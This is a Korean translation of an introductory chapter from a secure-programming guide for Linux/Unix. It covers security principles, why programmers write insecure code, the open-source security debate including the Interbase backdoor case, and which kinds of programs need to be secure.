2.1. 유닉스, 리눅스, 오픈 소스/자유 소프트웨어의 역사

2.2. 보안 원리

잘 알고 있어야 하는 많은 일반적인 보안 원리들이 있다; 정보 보안에 대한 일반적인 정보를 얻을 수 있는 한 곳은 Information Assurance Technical Framework (IATF) [NSA 2000] 이다. NIST 는 높은 수준의 ``일반적으로 인정된 원리와 실제 (generally accepted principles and practices)" 을 식별하였다 [Swanson 1996]. [Pfleeger 1997] 같은 컴퓨터 보안에 대한 일반적인 교재도 또한 볼 수 있다. 약간의 보안 원리들은 다음과 같이 요약된다:

대개 컴퓨터 보안의 목적은 다음 세가지 전반적인 목적에 의해 기술된다:

• 기밀성 (confidentiality, 또한 secrecy). 컴퓨팅 시스템 자산은 단지 인가된 사람들에 의해서만 접근된다.

• 무결성 (integrity). 시스템 자산은 단지 인가된 사람들에 의해 인가된 방식으로만 변경될 수 있다.

• 가용성 (availability). 인가된 사람들은 (시스템 사양에 의해 결정되는) 빠른 속도로 자산에 접근할 수 있다. 이 목적을 충족시키지 못하는 것을 서비스 부인이라 부른다.

어떤 사람들은 추가적인 보안 목적을 정의하는 반면 다른 사람들은 이러한 추가적인 목적을 위 세가지 목적의 특별한 경우로 일률적으로 취급한다. 예를 들어 어떤 사람은 부인 방지 (non-repudiation) 를 별도의 목적으로 분류하는데 이는 송신자와 수신자가 나중에 부인할 수 있음에도 불구하고 각각 메시지를 전송 및 수신했음을 ``입증"하는 능력이다. 프라이버시는 때때로 기밀성과 별도로 다뤄지는데 어떤 사람은 이를 데이타 대신 사용자 (예, 그들의 신원) 의 기밀성 보호로 정의한다. 대부분의 목적들은 식별 (identification) 과 인증을 필요로 하는데 이는 때때로 별개의 목적으로 열거된다. 종종 감사 (auditing, 또한 회계 책임 accountability 이라고도 부른다) 도 합당한 보안 목적으로 분간된다. 때때로 접근 제어 (access control) 및 신뢰성 (authenticity) 도 또한 별도로 열거된다. 모든 경우에 있어 이러한 목적들을 어떻게 종합하느냐에 상관없이 이들을 언제 충족시켜야 하는지 알 수있도록 프로그램의 전반적인 목적을 확인하는 것이 중요하다.

때때로 이러한 목적들은 알려진 일련의 위협에 대한 반응으로 때때로 이러한 목적들중 일부는 법에 의해 요구된다. 예를 들어 미국의 은행들 및 다른 금융 기관들에 대해서는 ``Gramm-Leach-Bliley (GLB)'' 법령이라 불리는 새로운 프라이버시 법이 있다. 이 법은 공유되는 개인 정보의 발표와 그 데이타를 안전하게 하는 방법을 명하고 제삼자에 의해 공유될 개인 정보의 발표를 요구하며 기관들이 고객들에게 공유되는 데이타를 선택할 기회를 주도록 정하고 있다 [Jones 2000].

때때로 보안과 어떤 다른 일반적인 시스템/소프트웨어 엔지니어링 원리들간에는 불일치가 있다. 보안은 때때로 ``손쉬운 사용"을 방해할 수 있는데 예를 들어 보안적인 설정을 설치하는 것은 작동하지만 비보안적인 ``평범한" 설정보다 더욱 많은 노력이 들 수도 있다. 종종 이 명백한 불일치는 해결될 수 있는데 예를 들어 문제를 다시 생각함으로써 보안적인 시스템을 또한 사용하기 쉽게 만드는 것은 대개 가능하다. 또한 보안과 추상화 (정보 숨기기) 간에도 불일치가 있는데 예를 들어 어떤 고수준 라이브러리 루틴들이 보안적으로 또는 비보안적으로 구현될 수도 있지만 그들의 설계 스펙은 무엇이라고 말해주지 못할 것이다. 결국 애플이케이션이 보안적이여야 한다면 그렇다고 확신할 수 없는 경우 반드시 스스로 이를 보안적으로 만들어야 한다 - 물론 맞다. 라이브러리는 수정되어야 하며 라이브러리 루틴을 잘못 선택함으로써 손해를 입을 사람들은 바로 사용자들이다.

훌륭한 일반적인 보안 원리는 ``철저한 방어 (defense in depth)"이다; 적소에 매우 많은 보호 메카니즘들 (``계층, layers") 들을 가져야 하며 따라서 공격자가 성공적인 공격을 수행하기 위해 다수의 메카니즘을 무너뜨려야 하도록 설계되어야 한다.

2.3. 프로그래머들은 왜 비보안적인 코드를 작성하는가

많은 프로그래머들이 비보안적인 코드를 작성하려고 하지는 않는다 - 그러나 어쨌든 작성한다. 다음은 이에 대한 많은 이유들이다. 이들중 대부분은 1998년 12월 17일 Bugtraq 에 게시한 Aleph One 에 의해 수집 및 요약된 것이다.

• 대부분의 학교에서 컴퓨터 보안에 대해 말하는 교과 과정은 없다. 있다 하더라도 컴퓨터 보안 교과 과정은 대개 전체적으로 보안적인 프로그램을 작성하는 방법을 논의하고 있지 않다. 많은 교과 과정은 단지 암호학 또는 프로토콜과 같은 특정 영역만을 다루고 있다. 이들도 중요하지만 버퍼 오버플로우, 문자열 포맷팅 및 입력 검사와 같은 공통적인 실세계의 문제를 대개 논의하지 못하고 있다. 저자는 이것이 가장 중요한 문제들중 하나라고 믿는다; 대학교를 마친 프로그래머들이라도 보안적인 프로그램 작성 방법을 배울 것 같지는 않으며 더구나 우리는 보안적인 프로그램을 작성하는데 있어 이러한 사람들에게 의존하고 있다.

• 프로그래밍 책/클래스가 보안적인/안전한 프로그래밍 기법을 가르치지 않고 있다. 정말로 최근까지 보안적인 프로그램 작성 방법에 대한 책은 전혀 없었다.

• 어느 누구도 학문적인 입증 방법을 사용하지 않는다.

• C 는 불안전한 언어이며 표준 C 라이브러리 문자열 함수도 불안전하다.

• 이는 C 가 널리 사용되고 있기때문에 특히 중요하다 - C 를 사용하는 간단한 방식은 위험한 악용을 허용한다.

• 프로그래머가 ``다수의 사용자"를 생각하지 않는다.

• 프로그래머는 인간이며 인간은 게으르다. 따라서 프로그래머는 보안적인 방법 대신 ``쉬운" 방법을 대개 사용할 것이다 - 일단 작동한다면 대개 이를 추후에 수정하지 않는다.

• 대부분의 프로그래머들은 결코 훌륭한 프로그래머가 아니다.

• 대부분의 프로그래머들은 보안 인력이 아니다; 이들은 졀코 공격자만큼 생각을 하지 않는다.

• 대부분의 보안 인력은 프로그래머가 아니다. 이는 몇몇 Bugtraq 기여자들의 진술이지만 이 주장이 실제 옳은 지는 명확하지 않다.

• 대부분의 컴퓨터 보안 모델은 엄하다.

• 많은 ``파괴된" 레거시 소프트웨어들이 있다. (보안 결함을 제거하거나 더욱 제한적인 보안 정책과 함께 사용하기 위해) 이 소프트웨어를 수정하는 것은 어렵다

• 소비자들은 보안에 관심이 없다. 저자는 소비자들이 보안에 관심을 갖기를 희망한다; 지속적으로 악용되고 있는 컴퓨터 시스템은 도움이 되지 않거나 사용하기 쉽지 않다.

• 보안 비용과 여분의 개발 시간.

• 추가적인 테스트 관점에서 보안 비용.

2.4. 오픈 소스가 보안에 유리한가?

보안에 대한 오픈 소스 방법의 영향에 관해서는 보안 전문가들에 의해 많은 논의가 있어왔다. 주요 쟁점들중의 하나는 오픈 소스가 공격자와 방어자를 포함해 모든 사람이 검토할 수 있게끔 소스 코드를 드러낸다는 것으로 분별있는 사람들은 이 상황의 궁극적인 영향에 관해 이의를 갖고 있다.

다음은 이 주제를 고찰해왔던 사람들로부터 약간 인용한 것이다. Bruce Schneier 은 현명한 엔지니어들은 ``보안과 관련된 모든 것을 위해 오픈 소스 코드를 요구"해야 한다고 주장하며 [Schneier 1999] 또한 오픈 소스 소프트웨어를 보안적으로 만들기 위해 충족되어야 하는 필수 조건들의 일부를 논의하고 있다. Advanced Encryption Standard (AES) 암호화 알고리듬 개발자인 Vincent Rijmen 은 리눅스의 오픈 소스 본질이 더욱 많은 사람들이 보안 취약성 (vulnerability) 을 조사할 수 있을뿐만 아니라 더욱 중요하게 모델이 사람들에게 더욱 분명한 코드의 작성과 표준을 고수하게끔 하기 때문에 이들의 발견 및 수정을 더욱 쉽게 만드는 우수한 방법을 제공한다고 믿고 있다. 따라서 이는 보안 검토를 손쉽게 한다 [Rijmen 2000]. Elias Levy (Aleph1) 은 기사 Is Open Source Really More Secure that Closed? 에서 오픈 소스 소프트웨어를 보안적으로 만드는데 있어 문제점들의 일부를 논의하고 있는데 그의 요약은 다음과 같다:

그래서 모든 이것이 오픈 소스 소프트웨어가 보안에 취약하게 될 때 비공개 소스 소프트웨어보다 좋지 않다는 것을 의미하는가? 그렇지 않다. 오픈 소스 소프트웨어는 틀림없이 이에 대응되는 비공개 소스 소프트웨어보다 더욱 보안적으로 될 가능성을 갖고 있다. 그러나 오해하지 마라 단순히 오픈 소스라고해서 보안을 보증하지는 않는다.

John Viega 의 기사 The Myth of Open Source Security 도 또한 이 쟁점을 논의하고 있는데 다음 방식으로 요약된다:

오픈 소스 소프트웨어 프로젝트는 비공개 소스 프로젝트보다 더욱 보안적으로 될 수 있다. 그러나 오픈 소스 프로그램을 보안적으로 만드는 바로 그것, 즉 소스 코드의 가용성과 많은 수의 사용자들이 보안 구멍을 찾아 수정할 수 있다는 사실이 사람들로 하여금 보안에 대해 잘못된 인식을 갖게 할 수 있다.

Michael H. Warfield 의 Musings on open source security 는 보안에 대한 오픈 소스 소프트웨어의 영향에 대해 더욱 더 긍정적이다. Fred Schneider 는 오픈 소스 코드를 검사하는 많은 사람들이 시스템 보안을 손상시킬 수 있는 버그들을 식별하는데 성공할 것이라고 믿을 이유가 없다고 말하며 ``코드내의 버그들이 지배적인 공격 방법은 아니다"라고 주장하면서 오픈 소스가 보안에 도움이 되지 않는다고 믿고 있다 [Schneider 2000]. 그는 또한 오픈 소스는 구축 과정의 제어를 배제한다고 주장하고 있는데 그러나 모든 주요 오픈 소스 프로그램들이 명성있는 ``소유자" 의 하나 또는 약간의 공식 버전을 갖고 있듯이 오픈 소스의 실제 구축 과정에는 제어가 있다 . Peter G. Neumann 은 ``오픈 박스 소프트웨어 (아마도 단지 어떤 조건하에서만 소스 코드를 얻을 수 있는) 가 실제로 시스템 보안을 향상시킬 것인가? 나의 답은 가능성이 고려될 수 있음에도 불구하고 바로 그것에 의한 것은 아니다"라고 말하면서 이를 논의하고 있다 [Neumann 2000]. TruSecure Corporation 은 오픈 소스 회사인 레드햇의 후원하에 왜 그들이 오픈 소스가 보안에 더욱 효과적이라고 믿는지에 대한 논문을 작성하였다. Natalie Walker Whitlock's IBM DeveloperWorks article 는 또한 찬반 양론을 논의하고 있다. Brian Witten, Carl Landwehr 과 Caloyannides [Witten 2001] 은 소스 코드를 사용가능하게 하는 것은 시스템 보안에 유리하게 작동한다고 잠정적으로 결론지은 기사를 IEEE 소프트웨어에 발표하였다; 그들은 다음과 같이 언급한다:

우리는 이 논의로 부터 네 가지 추가적인 결론을 이끌어 낼 수 있다. 첫번째 소스 코드에 대한 접근은 사용자들로 하여금 시스템 보안을 향상시키도록 한다 -- 사용자들이 향상시킬 능력과 자원을 갖고 있다면. 두번째 어떤 경우에 있어 오픈 소스 생명 주기가 악의적이지 않은 결함에 대해 덜 취약한 시스템을 만들어냄을 제한된 테스트가 나타내고 있다. 세번째 세가지 운영 체제에 대한 조사는 한가지 오픈 소스 운영 체제가 12개월에 걸쳐 알려졌지만 패치되지 않은 취약성의 형태에 두가지 소유권이 있는 운영 체제가 경험한 것보다 더욱 적은 노출을 경험하였다. 마지막으로 비공개 소유권이 있는 시스템 개발 모델은 덜 보안적인 시스템이 더욱 이익이 되지 않는 한 더욱 보안적인 시스템을 배치하고 지원하는 것에 대해 방해에 직면해 있다. 이러한 결론에도 불구하고 이 중요한 문제에 대한 논의는 발달 단계에 있으며 고객에게 넘겨지는 보안을 반영할 수 있는 metrics (측정 기준) 를 절실히 필요로 하고 있다.

때때로 존재하지만 알려지지 않은 취약성은 악용될 수 없으며 그래서 시스템은 실제로 보안적임이 특히 언급되고 있다. 이론상 이는 옳지만 문제는 일단 누군가가 취약성을 발견한다면 발견자가 이의 수정을 돕는 대신 단지 취약성을 악용할 수도 있다는 것이다. 따라서 취약성이 알려지지 않았다고 해서 실제로 취약성이 없어지는 것은 아니다; 이는 단순히 취약성이 언제든 악용될 수 있는 시한 폭탄임을 의미한다. 근본적으로 누군가 자신이 발견한 취약성을 악용하는 문제는 오픈 및 비공개 소스 시스템 모두에 대한 문제이다. 소스 코드가 없는 시스템이 이러한 의미에서 더욱 보안적이다고 논의되어 왔는데 이는 공격자가 얻을 수 있는 정보가 적기 때문에 공격자가 취약성을 발견하는 것은 더욱 어려울 것이다. 이에 대응되는 논의는 공격자는 일반적으로 소스 코드를 필요로 하지 않으며 그들이 소스 코드를 사용하길 원한다면 소프트웨어의 소스를 재생성하기 위해 디셈블러를 사용할 수 있다는 것이다. 비공개 코드가 보안 취약성에 대해 어떻게 조사될 수 있는가에 대한 한가지 논의에 대해서는 Flake [2001] 을 보라. 반대로 방어자는 소스 코드가 없다면 보통 문제를 찾지 못할 것이며 따라서 소스 코드가 없다는 것은 공격자와 비교해 방어자를 불리한 처지에 놓이게 한다.

때때로 요구되는 한가지는 사람들이 취약성에 대한 경고를 공표하여 이를 논의하지 않아야 한다는 것이다. 이는 이론상 좋게 보이지만 문제는 공격자가 이미 많은 채널을 통해 취약성에 대한 정보를 유포한다는 것이다. 요약하면 이러한 접근 방법은 방어자를 공격당하기 쉽게 만드는 반면 공격자를 저지하기 위해 할 수 있는 일은 없다. 과거에 회사들은 취약성 발표를 적극적으로 방해하려고 했지만 일반적으로 취약성이 (취약성이 수정되어야 한다고 강력하게 주장할 수 있는) 사용자에게 널리 알려지고 나서야 회사들이 취약성을 수정했음을 경험을 통해 알 수 있다. 이것이 ``완전한 발표" 찬성론의 모든 중요한 요소이다. Gartner 그룹은 ``Commentary: Hype is the real issue - Tech News" 라는 CNET.com 기사에 솔직한 주석을 달았는데 다음과 같이 말하였다:

마이크로소프트사의 컴퓨터 보안 대응 센터 관리자 Scott Culp 의 의견은 정보에 대해 오래된, 진행중인 전쟁에서의 흔한 후렴구를 되풀이하고 있다. 정보의 배포에 관한 도덕성의 논의는 과거로 거슬로 올라가서 매우 잘 알려져 있다. 몇 세기전에 예를 들어 교회는 태양이 태양계의 중심이라는 코페르니쿠스와 갈릴레오의 이론을 억누르려고 하였다... 마이크로소프트 제품내의 최근의 수많은 취약성을 ``정보 보안 전문가"의 탓으로 돌리려는 Culp 의 시도는 아무래도 솔직하지 않다. 아마도 이는 그러한 제품을 구축했던 회사에 대한 비난을 빗나가게 하려는 시도를 나타내고 있다... 모든 관계자의 노력이 계속적으로 개선이 진행되는데 도움이 된다. 취약성이 더욱 널리 알려지면 질수록 더욱 빠르게 수정될 것이다.

오픈 소스 프로그램에는 하나의 회사에 의해 적용된 제어가 없기 때문에 사람들이 트로이 목마 (Trojan Horses) 및 다른 악의있는 코드를 삽입할 수 있도록 한다고 때때로 논의되어 왔다. 트로이 목마는 오픈 소스 코드에 삽입될 수 있으며 이는 사실이다. 그러나 이는 소유권이 있는 코드내에도 삽입될 수 있다. 불만을 품거나 매수된 고용인이 악의있는 코드를 삽입할 수 있으며 많은 회사에서 오픈 소스 프로그램에서 보다 덜 발견될 것같다. 결국 조직 외부의 누구도 코드를 검토할 수 없고 코드를 내부적으로 검토하는 회사는 거의 없다 (또는 검토한다 하더라도 검토된 코드가 실제로 사용되고 있는 코드임을 확신할 수 있는 사람은 거의 없다). 비공개 소스 회사가 나중에 고소당할 것이라는 생각은 거의 증명되지 않았다 ; 거의 모든 라이센스는 모든 보증을 부인하며 법원은 일반적으로 소프트웨어 개발 회사가 법적 의무가 있다고 판결하지 않는다.

볼랜드사 (Borland) 의 Interbase 서버가 이에 해당하는 재미있는 경우인데 1992년과 1994년 사이에 볼랜드사는 그들의 데이타베이스 서버인 ``Interbase" 에 의도적으로 ``백도어 (back door)" 를 삽입했는데 이 백도어는 모든 로컬 또는 원격 사용자에게 모든 데이타베이스 객체의 조작 및 임의의 프로그램들을 설치할 수 있도록 했으며 어떤 경우는 ``루트" 권한으로서 머신을 제어할 수 있게까지 하였다. 이 취약성은 적어도 6년간 제품에 그대로 있었는데 어느 누구도 이 제품을 검토할 수 없었으며 볼랜드사는 이 취약성을 제거할 동기가 없었다. 그리고 나서 볼랜드사는 2000년 7월에 소스 코드를 공개했으며 ``Firebird" 프로젝트가 이 소스 코드를 갖고 작업을 하기 시작해 2000년 12월 Interbase 와 관련된 심각한 이 보안 문제를 폭로하였다. 20001년 1월 CERT 는 CERT advisory CA-2001-01 로 이 백도어의 존재를 공표하였다. 맥빠지는 것은 바로 백도어가 단순히 프로그램의 아스키 덤프 (ASCII dump, 일반적인 크래커의 수법) 를 검사함으로써 쉽게 발견될 수 있다는 것이다. 이 문제가 오픈 소스 개발자가 코드를 검토하는 동안 발견되었다면 빠르게 패치되었을 것이다. 물론 패스워드를 알려지지 않게 보관함으로써 프로그램은 안전한 상태로 있었고 소스 오픈이 프로그램을 덜 보안적으로 만들었다고 주장할 수도 있다. 저자는 이를 터무니 없는 주장이라고 생각한다. 왜냐하면 아스키 덤프는 대수롭지 않은 일이고 표준 공격 기법으로 잘 알려진 것이기 때문에 모든 공격자가 취약성을 공표할만큼 갑작스런 충동을 가지지는 않았을 것이다 - 사실 이 취약성이 많이 악용되지 않았음을 확신할 어떠한 방법도 없다. 소스가 오픈된 후 소스 코드는 여러번 검토되었으며 취약성이 발견되어 수정되었음은 명백하다. 이를 특징짓는 한가지 방식은 원래 코드는 취약했고 처음 소스가 오픈될 때 이 취약성을 악용하는 것은 더욱 쉬웠지만 결국 이러한 취약성은 수정되었다고 말하는 것이다.

소스 코드를 오픈했을 때의 장점은 공격되어지는 소프트웨어 뿐만아니라 취약성 평가 스캐너에도 확장된다. 취약성 평가 스캐너는 설정된 시스템에서 의도적으로 취약성을 찾아낸다. 최근의 Network Computing 의 평가는 가장 우수한 스캐너 (다른 무엇보다 가장 규칙에 맞는 취약성을 발견했다) 는 오픈 소스 스캐너 인 Nessus 임을 알아냈다 [Forristal 2001].

그래서 최종 결과는 무엇인가? 저자는 개인적으로 프로그램의 소스가 처음 오픈될 때 종종 취약성이 노출되어 모든 사용자에 대해 덜 보안적으로 시작하지만 시간이 지난후 (가령 몇년후) 에는 비공개 프로그램보다 더욱 보안적으로 될 가능성을 갖는다고 믿고 있다. 단지 프로그램의 소스를 오픈하는 것이 갑자기 프로그램을 보안적으로 만드는 것은 아니며 오픈 소스 프로그램을 보안적으로 만든는 것은 보증되지 않는다:

• 첫번째 사람들은 정말로 코드를 검토해야 한다. 이는 논의되는 주요 요점중 하나이다 - 사람들이 정말로 오픈 소스 프로젝트에서 코드를 검토할 것인가? 모든 종류의 요인들이 검토량을 줄일 수 있다: 특수한 용도에 맞는 제품인가 (niche) 또는 거의 사용되지 않는 제품인가 (물론 이 제품이 검토될 가능성은 거의 없다), 개발자가 적은가, 그리고 거의 사용되지 않는 컴퓨터 언어를 사용하는가. 분명히 한사람이 개발하며 다른 어떤 기여자도 없는 프로그램은 이러한 종류의 검토를 받지 못한다. 한편 주요 저자와 가끔 코드를 조사하고 기여하는 많은 다른 사람이 있는 프로그램은 코드를 검토하는 (최소한 기여를 하는) 다른 사람들이 있다고 넌지시 말한다. 일반적으로 더욱 많은 검토자가 있는 경우 누군가 결함을 식별할 가능성이 일반적으로 더욱 높다 - 이것이 ``many eyeballs" (많은 검토자) 이론의 기초이다.

  특히 검토 가능성을 줄일 수 있는 한가지 요인은 실제로 오픈 소스로 하지 않는 것이다. 어떤 벤더들은 발표한 소스 (disclosed source, 또한 소스를 얻을 수 있는 source available) 프로그램들을 오픈 소스라고 티를 내고 싶어하지만 프로그램 소유자가 상당히 독점적인 권한을 갖기 때문에 다른 사람들이 코드 소유자를 위해 무료로 작업할 마음을 더욱 갖지는 않을 것이다. 별나게 MPL 과 같은 비대칭 권한을 갖는 오픈 소스 라이센스도 이 문제를 갖고 있다. 결국 사람들은 다른 어떤 사람이 자신들의 결과에 대해 자신은 갖고 있지 않은 권한을 갖는다면 자발적으로 참여할 것 같지는 않다 (Bruce Perens 는 ``누가 다른 누군가의 무보수 고용인이 되길 원하는가?" 라고 말하고 있다). 특히 동기를 갖고 있는 대부분의 검토자들은 프로그램을 수정하려고 하는 사람인 경우가 많기 때문에 이러한 참여하려는 의욕을 방해하는 것은 검토자들의 수를 저하시킨다. Elias Levy 는 오픈 소스 보안에 대한 그의 기사에서 이 오해를 하였다; 그가 예를 들었던 파괴된 소프트웨어 (예, TIS 의 Gauntlet) 는 그 당시 오픈 소스가 아니었다.

• 두번째 코드를 개발 및 검토하려는 사람들은 보안적인 프로그램의 작성 방법을 알아야 한다. 바라건대 이 책이 도움이 될 것이다. 분명히 많은 검토자가 있더라도 아무도 찾지 못한다면 검토자의 수는 중요하지 않다. 사람들이 코드 변경의 조사 방법을 안다면 모든 사람이 보안적인 프로그램의 작성 방법을 알 필요는 없음을 주목해라.

• 세번째 일단 발견된다면 이러한 문제점들은 빠르게 수정되어 배포될 필요가 있다. 오픈 소스 시스템은 문제점들을 빠르게 수정하는 경향이 있지만 배포가 늘 순조로운 것은 아니다. 예를 들어 OpenBSD 개발자들은 보안 결함에 대해 매우 우수한 검토를 하지만 확인된 문제점들을 원래 개발자에게 늘 알려주지는 않는다. 따라서 한 시스템에는 수정 버전이 있지만 다른 시스템에는 결함이 남아있는 것도 가능하다.

오픈 소스의 다른 장점은 문제점을 발견하는 경우 즉시 이를 수정할 수 있다는 것이다.

요약하면 오픈 소스 소프트웨어가 보안에 미치는 영향은 많은 탁월한 전문가들이 더욱 보안적이 될 가능성이 있다고 믿고 있음에도 불구하고 보안 공동체에서 아직도 주된 논의 대상이라는 것이다.

2.5. 보안적인 프로그램 타입

많은 여러가지 타입의 프로그램들이 보안적인 프로그램 (이 책에 정의된 바와 같이) 일 필요가 있을 수 있는데 약간의 공통된 타입은 다음과 같다:

• 원격 데이타 뷰어로 사용되는 애플리케이션 프로그램. 워드 프로세서 또는 파일 포맷 뷰어와 같은 뷰어로 사용되는 프로그램들은 대개 신뢰되지 않은 사용자가 원격적으로 보내온 데이타를 보기 위해 요청된다 (이 요청은 웹 브라우저에 의해 자동적으로 호출될 수도 있다). 분명히 신뢰되지 않은 사용자의 입력은 애플리케이션에게 임의의 프로그램을 실행시키도록 허용해서는 안된다. 보통 초기화 매크로를 지원하는 것은 어리석은데 (매크로는 데이타가 표시될 때 실행된다) 이를 지원해야 한다면 보안적인 sandbox 를 만들어야 한다 (복잡하고 에러를 일으키기 쉬운 태스크). 5장 에서 논의되는 버퍼 오버 플로우와 같은 문제들을 조심해라 이는 신뢰되지 않은 사용자에게 뷰어로 임의의 프로그램을 실행시키도록 허용할 수도 있다.

• 관리자 (루트) 가 사용하는 애플리케이션 프로그램. 그러한 프로그램들은 관리자가 아닌 사람에 의해 제어될 수 있는 정보를 신뢰하지 않아야 한다.

• 로컬 서버 (또한 데몬이라고도 부른다).

• 네트워크에 접근할 수 있는 서버 (때때로 네트워크 데몬이라고도 부른다).

• CGI 스크립트를 포함한 웹 기반 애플리케이션. 이들은 네트워크에 접근할 수 있는 서버의 특별한 경우지만 그들만의 범주를 가질만할만큼 보편적이다. 그러한 프로그램들은 웹 서버를 통해 간접적으로 호출되는데 많은 공격을 걸러내어 제거하지만 그럼에도 불구하고 견뎌야 하는 많은 공격들을 남긴다.

• 애플릿 (클라이언트로 다운로드되어 자동적으로 실행되는 프로그램). 이는 파이썬과 같은 다른 언어들도 또한 모바일 코드를 지원하지만 특히 자바가 유명하다. 몇몇 보안 관점이 있는데 클라이언트측에서 애플릿 인프라 (infrastructure) 를 구현하는 사람은 반드시 단지 허용된 기능들만을 ``보안적인" 것으로 해야하며 애플릿 작성자는 적의있는 호스트들의 문제를 다뤄야 한다 (다른 말로 보통 클라이언트를 믿을 수 없다). 적의있는 호스트에서 애플릿을 실행시키는 것을 다루려는 약간의 연구가 있지만 솔직히 저자는 이들 연구 방법의 가치에 대해 회의적이며 이 주제는 저자가 이 책에서 더욱 깊게 다루지 않을 만큼 이색적이다.

• setuid/setgid 프로그램. 이 프로그램은 로컬 사용자에 의해 호출되어 실행될 때 즉시 프로그램 소유자 및/또는 소유자 그룹의 권한이 주어진다. 많은 방식에 있어 이들은 안전하게 하기 가장 어려운 프로그램으로 이는 그들의 입력 중 많은 부분이 신뢰되지 않은 사용자의 제어하에 있고 또한 그러한 입력 중 일부는 명백하지 않기 때문이다.

이 책은 이러한 여러가지 타입의 프로그램들의 문제들을 하나의 집합으로 병합한다. 이 방법의 단점은 여기서 확인된 문제들중 일부가 모든 프로그램 타입에 적용되지 않는다는 것인데 특히, setuid/setgid 프로그램은 많은 예기치 않은 입력들을 갖으며 이 책의 지침들중 몇몇만이 이에 적용된다. 그러나 각각의 프로그램이 이러한 경계들을 가로지를 수도 있고 (예, CGI 스크립트가 setuid/setgid 일 수도 있으며 또한 동일한 효과를 갖는 방식으로 설정될 수도 있다) 어떤 프로그램들은 다른 타입의 프로그램으로 고려될 수 있는 몇몇 실행 파일로 나누어질 수도 있기 때문에 분명한 것은 아니다. 이러한 프로그램 타입 모두를 한꺼번에 고려하는데 있어 장점은 프로그램에 부적절한 범주를 적용하려 하지 않고 모든 문제를 고려할 수 있다는 것이다. 추후 볼 것이지만 원리들의 많은 부분이 안전하게 될 필요가 있는 모든 프로그램에 적용된다.

이 책은 C++, 펄, PHP, 파이썬, Ada95 와 자바와 같은 다른 언어들에 대해 약간 언급하며 주로 C 로 작성된 프로그램에 대해 다룬다. 이는 C 가 유닉스 계열 시스템 (CGI 스크립트이외에 펄, PHP, 파이썬을 을 사용하는 경향이 있다) 에서 보안적인 프로그램을 구현하는 가장 보편적인 언어이고 대부분의 다른 언어들의 구현이 C 라이브러리를 호출하기 때문이다. 그러나 C 가 보안 목적에 맞는 가장 최선의 언어라는 것을 의미하지는 않으며 이 책에 기술된 원리들중 대부분은 사용된 프로그래밍 언어에 상관없이 적용된다.

2.6. 편집증은 미덕이다

보안적인 프로그램을 작성하는데 있어 기본적인 어려움은 그들을 작성하기 위해서는 다른 마음 자세 요약하면 편집광적인 마음 자세를 가져야 한다는 것이다. 이는 에러 (또한 결함 또는 버그라고도 부른다) 의 영향이 완전히 다를 수 있기 때문이다.

보통 보안적이지 못한 프로그램들은 많은 에러들을 갖고 있다. 이러한 에러들은 바람직하지 않지만 보통 드문 또는 있을 법하지 않은 상황을 포함하고 있는데 사용자가 우연히 이를 발견한다면 추후에는 그러한 방식으로 도구를 사용하지 않으려고 할 것이다.

보안적인 프로그램에서 상황은 역전된다. 어떤 사용자들은 자신들이 부당한 권한을 얻을 것이라는 희망아래 의도적으로 드문 또는 있을 법 하지 않은 상황을 찾거나 일으킬 것이다. 따라서 보안적인 프로그램을 작성할 때 편집증은 미덕이다.

2.7. 이 문서를 작성한 이유는?

저자가 받아온 질문은 "왜 이 책을 썼는가? 하는 것인데 다음이 저자의 답이다: 지난 몇년간에 걸쳐 저자는 리눅스와 유닉스 개발자들이 되풀이해서 계속적으로 동일한 보안 위험에 빠져드는 것 같음을 알아차렸다. 감사자들은 문제점들을 느리게 발견하고 있었지만 문제점들이 우선 코드내에 놓이지 않았다면 더욱 좋았을 것이다. 저자는 문제의 일부가 개발자들이 가서 알려진 위험들을 피하는 방법에 대한 정보를 얻을 수 있는 공통의 명백한 공간이 없었다라고 믿고 있다. 정보를 공개적으로 얻을 수 있었지만 대개 시대에 뒤쳐져 있고 불완전하며 다른 문제들을 갖고 있음을 발견하는 것은 어려웠다. 대부분의 그러한 정보는 리눅스가 널리 사용되게 되었음에도 불구하고 특별히 리눅스만을 논의하지 않았다. 이러한 것이 저자의 답에 대한 실마리가 되었다: 저자는 장래의 소프트웨어 개발자들이 과거의 잘못을 되풀이하지 않을 것이며 결과적으로는 더욱 보안적인 시스템을 개발할 것이라는 희망을 갖고 이 책을 작성했다. http://www.linuxsecurity.com/feature_stories/feature_story-6.html 에서 이에 대한 많은 논의를 볼 수 있다.

대답할 수 있는 관련 질문으로는 ``단지 다른 문서를 참조하는 대신 왜 당신 스스로 책을 썼는가?" 하는 것인데 이에 대한 몇가지 답변은 다음과 같다:

• 이 정보의 많은 부분은 산재되어 있었는데 중대한 정보를 하나의 조직화된 문서에 놓음으로써 이의 사용은 더욱 용이하다.

• 이 정보중 일부분은 프로그래머를 위해 작성된 것이 아니라 관리자 또는 사용자를 위해 작성된 것이다.

• 사용할 수 있는 정보의 많은 부분은 이식성있는 구축 (모든 유닉스 계열 시스템에서 작동하는 구축) 을 강조하고 있으며 결코 리눅스만을 논의하지는 않았다. 이식성을 위해서는 대개 리눅스 고유의 능력을 피하는 것이 최선이지만 때때로 리눅스 고유의 능력이 실제로 보안에 도움이 될 수 있다. 리눅스에 이식되길 바라지 않더라도 리눅스에서 작동할 때 리눅스 고유의 능력을 지원하길 원할 수도 있다. 그리고 리눅스를 강조함으로써 저자는 다른 사람들에게 필수적으로 들어맞지는 않지만 리눅스를 목표로 하는 사람들에게는 유용한 정보에 대한 참조를 포함시킬 수 있다.

2.8. 설계와 구현 지침의 출처

몇몇 문서들은 보안적인 프로그램 작성 방법 (또는 대안으로 기존 프로그램에서 보안 문제들을 찾는 방법) 을 기술하는데 도움이 되는데 이들이 이 책의 나머지부분에서 강조된 지침들에 기초가 되었다.

범용 서버와 setuid/setgid 프로그램의 경우는 많은 가치있는 문서들이 있다. 물론 이들에 대한 참조없이는 찾기 어려운 문서들이다.

